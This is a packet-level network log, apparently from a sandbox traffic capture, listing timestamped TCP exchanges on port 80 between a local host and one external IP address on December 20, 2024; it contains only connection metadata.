Dec 20, 2024 16:19:45.533407927 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.533453941 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.534374952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.534456015 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.534461975 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.534506083 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.535537004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.535548925 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.535603046 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.535603046 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.536287069 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.536339045 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.536453962 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.536679029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.537467003 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.537511110 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.579547882 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.579566002 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.579690933 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.579905033 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.579967022 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.580024004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.580126047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.580904007 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.580976009 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.581101894 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.581147909 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.581973076 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.582037926 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.582093000 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.582138062 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.582884073 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.582937956 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.583003998 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.583081961 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.583906889 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.583952904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.584031105 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.584079981 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.584839106 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.584892035 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.585109949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.585175037 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.585807085 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.585849047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.585897923 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.585937023 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.586839914 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.586886883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.587169886 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.587223053 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.587863922 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.587919950 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.588058949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.588097095 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.588951111 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.588989973 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.589025021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.589066029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.589782000 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.589916945 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.589941978 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.589989901 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.590812922 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.590826988 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.590922117 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.591749907 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.591824055 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.603621960 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.603638887 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.603713036 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.622560978 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.622632027 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.622778893 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.622823000 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.623011112 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.623126984 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.623131037 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.623332024 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.624005079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.624067068 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.624100924 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.624100924 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.625010967 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.625108957 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.625143051 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.625143051 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.626116991 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.626162052 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.626369953 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.626528025 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.627039909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.627077103 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.627382040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.627435923 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.627947092 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.627984047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.628066063 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.628187895 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.628940105 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.628994942 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.629348040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.629386902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.629928112 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.629964113 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.630537987 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.630634069 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.630907059 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.631051064 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.631078959 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.631186962 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.631994963 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.632039070 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.650063038 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.650131941 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.650178909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.650295019 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.650372982 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.650420904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.651122093 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.651333094 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.651438951 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.651453018 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.651506901 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.651506901 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.652594090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.652687073 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.652729988 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.652729988 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.653397083 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.653639078 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.653675079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.653675079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.654385090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.654428005 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.654622078 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.655093908 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.655320883 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.655451059 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.655493021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.655493021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.656389952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.656445980 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.656590939 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.656740904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.657563925 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.657613993 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.657712936 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.657793999 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.658503056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.658664942 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.658838987 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.658921957 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.695517063 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.695614100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.695648909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.695811033 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.696033001 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.696048021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.696377039 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.696969986 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.697050095 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.697499037 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.697561979 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.697999954 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.698093891 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.698405027 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.698513985 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.698985100 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.698997021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.699115992 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.699930906 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.700011969 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.700404882 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.700473070 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.700936079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.701078892 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.701258898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.701369047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.701920033 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.701992989 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.702054024 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.702136993 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.703039885 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.703171968 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.703402042 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.703721046 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.704000950 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.704056978 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.704077959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.704103947 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.704895020 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.704947948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.705125093 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.705168962 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.705822945 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.705893040 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.705900908 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.705987930 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.706940889 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.706989050 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.707149982 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.707210064 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.707859039 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.707900047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.723231077 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.723341942 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.723433971 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.723480940 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.723633051 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.723748922 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.743385077 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.743448019 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.743482113 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.743520975 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.743921995 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.744014978 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.744174957 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.744224072 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.744986057 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.745052099 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.745572090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.745676041 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.745840073 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.745888948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.745942116 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.745986938 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.747587919 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.747638941 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.747724056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.747880936 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.748024940 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.748038054 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.748095989 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.748769045 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.748821020 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.749053001 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.749161959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.749699116 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.749907017 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.791846991 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.791866064 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.792125940 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.792196035 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.792207956 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.792248011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.792285919 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.792963028 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.792975903 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.793051958 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.793844938 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.793972015 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.794168949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.794234991 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.794897079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.794960022 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.795953035 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.795968056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.796030998 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.796060085 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.796147108 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.796839952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.796979904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.797332048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.797404051 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.797815084 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.797930956 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.797952890 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.797996998 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.798805952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.798933029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.798939943 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.798986912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.799807072 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.799851894 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.800110102 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.800170898 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.800935984 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.800986052 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.800992012 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.801033020 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.801796913 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.801887035 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.802000999 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.802072048 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.803019047 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.803078890 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.803209066 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.803286076 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.803762913 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.803868055 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.861955881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.862041950 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.862099886 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.862099886 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.862557888 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.862696886 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.862719059 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.862761021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.862781048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.862838984 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.863624096 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.863701105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.864413977 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.864635944 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.864650011 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.864684105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.864684105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.864708900 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.865586996 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.865689993 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.865694046 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.865799904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.866592884 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.866664886 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.866688967 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.866709948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.867528915 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.867580891 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.868241072 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.868302107 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.868583918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.868647099 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.868685007 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.868685007 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.869518995 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.869581938 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.869620085 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.869719982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.870733976 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.870884895 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.871495008 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.871546030 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.879338980 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.879395962 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.879435062 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.879585981 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.879935980 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.880042076 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.880686045 CET	80	49735	185.156.73.23	192.168.2.4
